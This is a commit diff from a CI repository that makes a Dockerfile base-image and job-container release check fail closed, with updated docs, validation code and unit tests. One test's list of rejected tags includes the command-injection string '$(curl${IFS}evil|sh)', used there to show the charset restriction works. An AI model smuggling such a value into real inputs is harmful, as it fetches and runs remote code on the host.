fix(image): make the job container check fail closed
Review findings: a non-ubuntu or variable FROM went unchecked, the registry-prefixed ubuntu forms were missed, the container line could be satisfied by a lookalike in a run block, and a quoted job_image passed the check but not the bot-diff guard or Renovate. Also: stale ci Dockerfile base comment, the pins error now says what to edit, and the docs state that a job_image-only bump rebuilds nothing. Co-Authored-By: Claude Sonnet 5.5 <[email protected]> Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
1 parent
c3d0d7df65
commit
bc5ae09de7
5 files changed
+77
-15
No files matched your search
@@ -64,7 +64,10 @@ protection, or create tags: those are the operator's.
|
||||
- kaniko runs inside the job container and unpacks the image it builds over it, so each matrix entry names its
|
||||
job container (`job_image: ubuntu:<release>@sha256:...`) and its release must equal the `FROM ubuntu:` release
|
||||
of the image's Dockerfile (`check_image_versions.py pins` fails otherwise; run 2529 broke a 24.04 build in a
|
||||
26.04 job container). Moving an image to a new release moves both in one edit.
|
||||
26.04 job container). Moving an image to a new release is one edit: the Dockerfile `FROM`, the `job_image`
|
||||
tag and digest, and the version bump. Digest drift within a release is tolerated. A `job_image`-only bump is
|
||||
not an image input: no version bump, nothing rebuilt; the post-merge Images run only reaches the prepare step
|
||||
for published versions, so that is its only exercise.
|
||||
- Each pushed layer must stay below 100 MB: Cloudflare rejects larger request bodies with
|
||||
HTTP 413. That is why the `ci` image deletes the Go toolchains from the hook cache.
|
||||
- `image.yml` tries the job token first with a write probe; Gitea 28 refuses it for the org's packages
|
||||
|
||||
@@ -30,8 +30,7 @@
|
||||
# Layers: each COPY / RUN below is one layer, and a layer is pushed as one request,
|
||||
# so it must stay below Cloudflare's 100 MB request-body limit on git.rkdr.net. The
|
||||
# build stage prints the sizes it will copy; the first push is the real test.
|
||||
# Base image: ubuntu:24.04 index digest as of 2026-10-24 (24.04.5), same as the
|
||||
# molecule image.
|
||||
# Base image: ubuntu:26.04 index digest as of 2026-10-26, same as molecule-ubuntu2604.
|
||||
|
||||
FROM ubuntu:26.04@sha256:c098726dd9b9733f3e885f8de0ef375206a311b0a317eadc40d347b1115fb944 AS os
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
python3 scripts/check_image_versions.py bump <base-ref>
|
||||
|
||||
The matrix of .gitea/workflows/image.yml is the registry of images: name, version,
|
||||
build context (subpath) and Dockerfile. A published version tag is never moved (Gitea
|
||||
build context (subpath), Dockerfile and job container (job_image). A published version tag is never moved (Gitea
|
||||
cannot make a tag immutable), so an image whose content changes under an unchanged
|
||||
version is pushed as sha-*/latest only, and a hand-pasted <version>@<new digest> pin
|
||||
would pair a tag with a digest it does not point to.
|
||||
@@ -190,6 +190,9 @@ def matrix_of(text):
|
||||
matrix[name] = {"version": values["version"], "subpath": values.get("subpath", ""),
|
||||
"dockerfile": values["dockerfile"]}
|
||||
if "job_image" in values:
|
||||
if (keys["job_image"][0] or "").strip()[:1] in "\"'":
|
||||
raise CheckError(f"{MATRIX_FILE}: image '{name}': job_image must be written unquoted "
|
||||
"(the bot-diff guard and Renovate read the plain form)")
|
||||
matrix[name]["job_image"] = values["job_image"]
|
||||
return matrix
|
||||
|
||||
@@ -317,23 +320,41 @@ def check_pins(matrix, consumer_texts):
|
||||
|
||||
|
||||
JOB_IMAGE_RE = re.compile(r"ubuntu:(?P<release>[0-9]+\.[0-9]+)@sha256:[0-9a-f]{64}")
|
||||
CONTAINER_LINE_RE = re.compile(r"^\s*image:\s*\$\{\{\s*matrix\.job_image\s*\}\}\s*$", re.MULTILINE)
|
||||
CONTAINER_LINE_RE = re.compile(r"^\s*container:[ \t]*\n\s*image:\s*\$\{\{\s*matrix\.job_image\s*\}\}[ \t]*$", re.MULTILINE)
|
||||
UBUNTU_NAMES = ("ubuntu", "library/ubuntu", "docker.io/library/ubuntu")
|
||||
|
||||
|
||||
def dockerfile_releases(dockerfile_text):
|
||||
"""The `ubuntu:<release>` tags of the FROM lines of a Dockerfile (stage references are skipped)."""
|
||||
releases = []
|
||||
for unused, line in _instructions(dockerfile_text):
|
||||
"""(releases, problems) of a Dockerfile's FROM lines: the `ubuntu:<release>` tag of each external
|
||||
base, and a message for every FROM this check cannot vouch for. kaniko unpacks every stage over
|
||||
the job container, so a base that is not Ubuntu, or whose name or tag holds a variable, is a problem.
|
||||
A reference to an earlier stage (`FROM os AS final`) is skipped."""
|
||||
releases, problems, stages = [], [], set()
|
||||
for lineno, line in _instructions(dockerfile_text):
|
||||
parts = line.split()
|
||||
if not parts or parts[0].upper() != "FROM":
|
||||
continue
|
||||
refs = [p for p in parts[1:] if not p.startswith("--")]
|
||||
if not refs:
|
||||
continue
|
||||
name, unused, tag = refs[0].split("@")[0].partition(":")
|
||||
if name == "ubuntu":
|
||||
releases.append(tag)
|
||||
return releases
|
||||
ref = refs[0]
|
||||
if len(refs) >= 3 and refs[1].upper() == "AS":
|
||||
alias = refs[2].lower()
|
||||
else:
|
||||
alias = None
|
||||
if ref.lower() in stages:
|
||||
pass
|
||||
elif "$" in ref:
|
||||
problems.append(f"line {lineno}: FROM {ref} holds a variable, so its release cannot be read")
|
||||
else:
|
||||
name, unused, tag = ref.split("@")[0].partition(":")
|
||||
if name in UBUNTU_NAMES:
|
||||
releases.append(tag)
|
||||
else:
|
||||
problems.append(f"line {lineno}: FROM {ref} is not an Ubuntu base")
|
||||
if alias:
|
||||
stages.add(alias)
|
||||
return releases, problems
|
||||
|
||||
|
||||
def check_job_images(matrix, read_file, workflow_text):
|
||||
@@ -352,15 +373,17 @@ def check_job_images(matrix, read_file, workflow_text):
|
||||
continue
|
||||
path = str(pathlib.PurePosixPath(entry["subpath"]) / entry["dockerfile"]) if entry["subpath"] else entry["dockerfile"]
|
||||
try:
|
||||
releases = dockerfile_releases(read_file(path))
|
||||
releases, problems = dockerfile_releases(read_file(path))
|
||||
except OSError as exc:
|
||||
errors.append(f"image '{name}': cannot read {path}: {exc}")
|
||||
continue
|
||||
errors += [f"image '{name}': {path} {problem}" for problem in problems]
|
||||
if not releases:
|
||||
errors.append(f"image '{name}': {path} has no `FROM ubuntu:<release>` line")
|
||||
for release in sorted(set(releases) - {job["release"]}):
|
||||
errors.append(f"image '{name}': {path} builds on ubuntu:{release} but its job_image is ubuntu:{job['release']}; "
|
||||
"kaniko unpacks the image over the job container, so the two releases must be equal")
|
||||
"kaniko unpacks the image over the job container, so the two releases must be equal: edit the "
|
||||
f"FROM lines of {path} and job_image (tag and digest) in {MATRIX_FILE} in the same pull request")
|
||||
return errors
|
||||
|
||||
|
||||
|
||||
@@ -77,6 +77,14 @@ class RuleTest(unittest.TestCase):
|
||||
for path, old, new in cases:
|
||||
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
|
||||
|
||||
def test_job_image_lines_cannot_be_added_removed_or_moved(self):
|
||||
path = ".gitea/workflows/image.yml"
|
||||
line = f" job_image: ubuntu:24.04@{D1}"
|
||||
for old, new in ((line, ""), (" version: 0.2.0", f" version: 0.2.0\n{line}"),
|
||||
(" steps:", f" steps:\n{line}")):
|
||||
self.assertIsNotNone(self.problem(path, old, new), (old, new))
|
||||
self.assertIsNotNone(self.problem(path, line, line.replace("job_image:", 'job_image: "') + '"'))
|
||||
|
||||
def test_tag_charset_is_restricted(self):
|
||||
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
|
||||
for tag in bad_tags:
|
||||
|
||||
@@ -240,7 +240,7 @@ class PureTest(unittest.TestCase):
|
||||
self.assertEqual(len(errors), 1)
|
||||
self.assertIn("builds on ubuntu:26.04 but its job_image is ubuntu:24.04", errors[0])
|
||||
files["images/ci/Dockerfile"] = "FROM debian:12\n"
|
||||
self.assertIn("no `FROM ubuntu:<release>` line", civ.check_job_images(matrix, read, text)[0])
|
||||
self.assertIn("FROM debian:12 is not an Ubuntu base", civ.check_job_images(matrix, read, text)[0])
|
||||
files["images/ci/Dockerfile"] = f"FROM {JOB} AS os\n"
|
||||
self.assertEqual(civ.check_job_images(matrix, read, text.replace("matrix.job_image", "matrix.other")),
|
||||
[".gitea/workflows/image.yml: the job container must be "
|
||||
@@ -254,6 +254,35 @@ class PureTest(unittest.TestCase):
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("job_image in .gitea/workflows/image.yml must be ubuntu:<release>@sha256:<digest>", errors[0])
|
||||
|
||||
def test_dockerfile_releases_fail_closed(self):
|
||||
digest = DIGEST
|
||||
cases = {
|
||||
f"FROM --platform=linux/amd64 ubuntu:26.04@{digest} AS a\nFROM a AS b\n": (["26.04"], 0),
|
||||
f"FROM docker.io/library/ubuntu:24.04@{digest}\n": (["24.04"], 0),
|
||||
f"FROM ubuntu:24.04 AS ubuntu\nFROM ubuntu AS x\n": (["24.04"], 0),
|
||||
f"FROM golang:1.22 AS b\nFROM ubuntu:24.04\n": (["24.04"], 1),
|
||||
"ARG B=ubuntu:26.04\nFROM ubuntu:24.04 AS a\nFROM ${B} AS b\n": (["24.04"], 1),
|
||||
"FROM ubuntu:${REL}\n": ([], 1),
|
||||
"FROM ubuntu:24.04\nRUN <<EOF\necho hi\nEOF\n": (["24.04"], 0),
|
||||
}
|
||||
for text, (want_releases, want_problems) in cases.items():
|
||||
releases, problems = civ.dockerfile_releases(text)
|
||||
self.assertEqual((releases, len(problems)), (want_releases, want_problems), (text, problems))
|
||||
|
||||
def test_container_line_must_sit_under_container(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0")
|
||||
lookalike = text.replace(" container:\n image: ${{ matrix.job_image }}\n",
|
||||
" container:\n image: ubuntu:24.04\n steps:\n - run: |\n"
|
||||
" image: ${{ matrix.job_image }}\n")
|
||||
errors = civ.check_job_images(civ.matrix_of(lookalike), lambda path: f"FROM {JOB}\n", lookalike)
|
||||
self.assertEqual(len(errors), 1, errors)
|
||||
self.assertIn("the job container must be", errors[0])
|
||||
|
||||
def test_quoted_job_image_is_refused(self):
|
||||
text = IMAGE_YML.format(mol="0.1.0", ci="0.2.0").replace(f"job_image: {JOB}", f'job_image: "{JOB}"', 1)
|
||||
with self.assertRaises(civ.CheckError):
|
||||
civ.matrix_of(text)
|
||||
|
||||
def test_scripts_do_not_import_yaml(self):
|
||||
# The bump step runs in the Renovate image, whose python3 has no PyYAML (dry run 2453).
|
||||
for script in ("check_image_versions.py", "bump_image_versions.py"):
|
||||
|
||||
Reference in new issue
Block a user